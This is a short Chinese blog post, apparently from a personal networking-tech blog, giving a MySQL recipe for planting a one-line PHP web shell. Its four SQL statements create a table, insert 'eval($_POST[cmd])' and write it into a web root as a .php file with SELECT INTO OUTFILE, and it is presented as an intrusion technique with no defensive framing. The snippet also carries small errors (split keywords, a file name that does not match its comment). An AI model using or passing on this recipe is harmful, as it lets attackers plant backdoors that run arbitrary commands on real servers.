小健博客网络技术综合大全

MySQL导出一句话一Shell

Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); //把一句话木马插入到temp表
Select cmd from temp into out file 'd:/wwwroot/1.php'; //查询temp表中的一句话并把结果导入到eval.php
...

分页:[«]1[»]
up